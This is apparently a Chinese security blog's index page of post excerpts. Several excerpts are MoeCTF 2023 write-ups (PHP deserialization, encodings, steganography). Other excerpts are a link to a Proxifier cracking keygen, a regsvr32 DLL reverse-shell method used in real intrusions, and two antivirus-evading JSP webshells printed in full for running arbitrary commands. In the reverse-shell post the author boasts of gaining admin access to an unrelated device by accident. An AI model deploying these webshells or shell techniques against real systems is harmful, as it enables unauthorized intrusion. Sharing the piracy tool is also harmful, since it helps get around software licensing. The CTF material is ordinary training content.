小程序抓包
工具准备
先在官网下载抓包工具以及proxifier官方版本:
https://www.proxifier.com/download/
然后下载proxifier破解注册机:
https://github.com/y9nhjy/Proxifier-Keygen
在安装了proxifier的机器上运行注册机,得到序列码,激活并运行proxifier
基本配置
Burpsuit
在Proxy—->Options里设置代理端口等,我这里设置了监听本地8080端口:

然后点击下方的“Import/export CA certificate”,将证书文件导出,然后win+r,输入certmgr.msc打开证书管理器,在“受到信任的证书”处点击,右键导入新的证书:

然后将burp的证书导入
Burp小技巧
启用远程代理
我们进入Proxy选项的设置中,在proxy listener处添加一个有specific address的代理,这里的specific address填写抓包电脑的内网地址,端口填写想要的端口:

设置好之后就可以让局域网中的其他设备通过burp的代理抓包了
启用HTTP 1.0
Read More
题目来源:2023MOECTF
题目简述
题目给出了这样的代码:
<?php
highlight_file(__FILE__);
require_once('Hanxin.exe.php');
$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';
$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);
$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';
try{
echo unserialize($after);
}catch (Exception $e) {
echo "Even Caused A Glitch...";
}
?>
提示有Hanxin.exe.php的页面,打开查看:
<?php
if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
highlight_file(__FILE__);
}
class Deadly_Thirteen_Spears{
private static $Top_Secret_Long_Spear_Techniques_Manual = array(
"di_yi_qiang" => "Lovesickness",
"di_er_qiang" => "Heartbreak",
"di_san_qiang" => "Blind_Dragon",
"di_si_qiang" => "Romantic_charm",
"di_wu_qiang" => "Peerless",
"di_liu_qiang" => "White_Dragon",
"di_qi_qiang" => "Penetrating_Gaze",
"di_ba_qiang" => "Kunpeng",
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
"di_shi_qiang" => "Overlord",
"di_shi_yi_qiang" => "Letting_Go",
"di_shi_er_qiang" => "Decisive_Victory",
"di_shi_san_qiang" => "Unrepentant_Lethality"
);
public static function Make_a_Move($move){
foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
$move = str_replace($index, $movement, $move);
}
return $move;
}
}
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{
public $Chant = '';
public $Spear_Owner = 'Nobody';
function __construct($chant){
$this->Chant = $chant;
$this->Spear_Owner = 'Nobody';
}
function __toString(){
if($this->Spear_Owner !== 'MaoLei'){
return 'Far away from COOL...';
}
else{
return "Omg You're So COOOOOL!!! " . getenv('FLAG');
}
}
}
?>
同时,网页下面还有这样的回显:
Your Movements: O:34:”Omg_It_Is_So_Cool_Bring_Me_My_Flag”:2:{s:5:”Chant”;s:15:”夺命十三枪”;s:11:”Spear_Owner”;s:6:”Nobody”;}
Far away from COOL…
注意:在php中,中文的字符串长度是根据所占字节来决定的,utf-8编码下每个中文字符所占字节为3,所以夺命十三枪的长度是15
题目的大致意思,是让我们通过chant传参,将Spear_Owner改为Maolei,同时,我们传入的参数会根据一定规则被替换
Read More
简述
最近做了一些题目,总结一下关于preg_match()绕过技巧:
最大回溯次数绕过 无版本限制
在php中,为了防止正则表达式的贪婪匹配遇到过长的字符串时响应太慢,甚至系统崩溃的问题,php限制了回溯次数,一旦超过这个次数,preg_match函数就会返回false,所以我们可以构建一个超长的字符串来使preg_match返回false,举个例子:
/sys.*nb/is
以上是一个正则表达式,用于匹配sysnb,且不管sys和nb中间出现什么都会匹配到sysnb。
这是我们可以输入一个字符串,sysnb在开头,然后后面加上垃圾字符(重复使用相同的字符可能会被发现),当preg_match识别到sys,它并不会马上识别后面的nb,由于贪婪匹配的原因,它会从字符串的最后开始数,直至遇见nb,但是我们的nb在最前面,它一直回溯就会超过最大次数,于是返回false,以下给出脚本:
import requests
a='acb'*1000000
string="sys nb"+a
data = {
"xdmtql":string
}
r = requests.post("http://af277385-c08e-4b09-8a79-374fc1f553d5.www.polarctf.com:8090/",data=data)
print(r.text)
需要注意的是,如果正则为:
/sys.*?nb/is
这种办法就没用了,因为”?”将贪婪匹配转为了懒惰匹配,只匹配到一个sysnb就收工。同时如果preg使用了强等于,即===,此方法也失效
注意:具体的最大回溯次数可以在phpinfo中的PCRE项的配置中查看
Read More
简述
最近在渗透一台比较老,环境比较不完整的机子时,尝试反弹shell出了很多乱七八糟的问题,在尝试nc,msf等常规上传方法失败后,找到一种小众的方法,通过windows自带的regsvr32反注册dll文件来反弹shell,用nc连接
具体方法
先下载这个MFC服务配置端:
MFC服务配置端口
首先我们先在这个MFC服务配置端里根据目标的架构生成dll文件:

ip地址填自己的ip,端口号选择一个喜欢的,其他信息随便填(不填也可以),下面根据架构,点击生成dll文件
在本地开启nc的端口监听,将dll上传到目标机器,使用指令:
regsvr32 /s /u 你上传的server.dll文件
来反弹shell,当nc有反应,就代表连接成功
吐槽
我用这个方法,虽然成功反弹了shell,但神奇的是,反弹的不是我上传的目标机器的shell,而是反弹了一台不知道是什么设备的shell,而且里面还有重要文件,权限也是admin,赚麻了,也怕了。十分恶心的是,这个shell不仅10秒断一次,而且每次重连还要换端口,恶心人有个度啊。
Read More
简述
最近在渗透的时候遇到需要上传jsp一句话的情况,因为目标机器有360,而且比较老旧,很多jsp一句话不是被杀就是跑不了,更有甚者上传了能执行但是连不上蚁剑,后来获取了两个不错的马,记录一下
免杀连接蚁剑jsp
<%!class AFKZ extends ClassLoader{ AFKZ(ClassLoader NGOK){ super(NGOK); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("bypass");if(cls!=null){ new AFKZ(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>
这款比较适合旧的机子,而且蚁剑能连上
密码:bypass
普通免杀jsp
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String PASSWORD = "password";
String passwd = request.getParameter("pwd");
String cmd = request.getParameter("cmd");
Class rt = Class.forName("java.lang.Runtime");
java.lang.reflect.Method gr = rt.getMethod("getRuntime");
java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
Process process = (Process) ex.invoke(gr.invoke(null), cmd);
java.io.InputStream in = process.getInputStream();
out.print("<pre>");
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.print("</pre>");
%>
这款比较普通,密码:cmd
xxx.jsp?cmd=你想执行的代码
碎碎念
好久没归纳了,感觉要被大家超过了
Read More
题目来源:2023MOECTF
题目简述
题目给了一个文本文件,里面都是喵喵喵,内容如下:
喵喵? 喵喵喵喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵? 喵喵喵喵喵? 喵喵喵喵喵?喵喵? 喵喵喵喵喵? 喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵 喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵?喵喵喵 喵喵?喵喵?喵喵? 喵喵喵喵喵喵喵喵? 喵喵?喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵?喵喵喵喵喵?喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵喵喵喵?喵喵喵 喵喵?喵喵喵喵喵喵喵喵?
猜想
“喵喵?”出现了很多次,根据题目信息,这是莫斯电码,也就是说明“喵喵?”要么是点要么是横,同时我们猜想,“喵喵?”有三个字,那么三个“喵”在一起组成的“喵喵喵”有没有可能是另一个符号呢?
编写POC
写一个程序,先尝试将“喵喵?”换成横,“喵喵喵“换成点:
a = "喵喵? 喵喵喵喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵? 喵喵喵喵喵? 喵喵喵喵喵?喵喵? 喵喵喵喵喵? 喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵 喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵?喵喵喵 喵喵?喵喵?喵喵? 喵喵喵喵喵喵喵喵? 喵喵?喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵?喵喵喵喵喵?喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵喵喵喵?喵喵喵 喵喵?喵喵喵喵喵喵喵喵?"
b = a.replace("喵喵?","-")
c= b.replace("喵喵喵",".")
print(c)
结果如下:
Read More
题目来源:2023MOECTF
题目简述
这是一道音频隐写的题目,解压附件发现是一个音频文件
Audacity and Steghind
丢进处理文件中查看频谱图:

发现有隐藏的信息,使用steghind并且用key:youseeme解压隐藏的文件:

获得flag
解压出一个文本文件“兔兔”,暗示rabbit解密,使用youseeme上面的英文作为密匙,尝试后解出flag:

踩坑总结
1.一开始不知道steghind这个工具,导致做不出来
Read More
题目来源:2023MOECTF
题目简述
题目给了一个压缩包,并暗示这不是压缩包,解压发现有ppt字样的文件夹,猜测是ppt文件,将zip后缀改成pptx后成功打开
寻找flag
打开ppt,ctrl+a全选,然后将所有文本框的文本调成红色,发现如下flag字段:



还有一段没找到,于是将ppt解压,在xml文件中查找,最终找到:

获得flag
将flag拼凑,得到flag:moectf{2ip_?_n0_i4_pxx4!}
踩坑总结
1.一开始找了很久最后一段,后来才想到解压开文字查找
Read More
题目来源:2023MOECTF
题目简述
“锟斤拷烫烫烫”明显在暗示编码错误,下载附件,发现是一种没见过的编码:
+j9k-+Zi8-+T2A-+doQ-flag+/xo-+AAo-+AAo-a9736d8ad21107398b73324694cbcd11f66e3befe67016def21dcaa9ab143bc4405be596245361f98db6a0047b4be78ede40864eb988d8a4999cdcb31592fd42c7b73df3b492403c9a379a9ff5e81262+AAo-+AAo-+T0Y-+Zi8-flag+dSg-AES+UqA-+W8Y-+ToY-+/ww-key+Zi8-+Tgs-+l2I-+j9k-+iEw-+W1c-+doQ-sha256+/wg-hash+UDw-+doQ-+XwA-+WTQ-+Zi8-b34edc782d68fda34dc23329+/wk-+AAo-+AAo-+YkA-+TuU-+i/Q-+/ww-codepage+dx8-+doQ-+X4g-+kc0-+iYE-+VUo-+/wg-+AAo-
UTF-7解码
经过尝试,知道这是utf-7编码(谁丧心病狂会用这种啊),解码后有这样的信息:
这是你的flag
a9736d8ad21107398b73324694cbcd11f66e3befe67016def21dcaa9ab143bc4405be596245361f98db6a0047b4be78ede40864eb988d8a4999cdcb31592fd42c7b73df3b492403c9a379a9ff5e81262
但是flag用AES加密了,key是下面这行字的sha256(hash值的开头是b34edc782d68fda34dc23329)
所以说,codepage真的很重要啊(
在线转换,得到key为:
b34edc782d68fda34dc2332967273b0f0900a0ebd0dcec48467851bc6117bad1
获得flag
通过aes解密后得到flag:

(注意所有都是hex)
踩坑总结
1.第一次做因为不知道utf-7而卡了很久
2.附上一些不那么常见的编码:
参考:https://blog.csdn.net/q20010619/article/details/120942973
Read More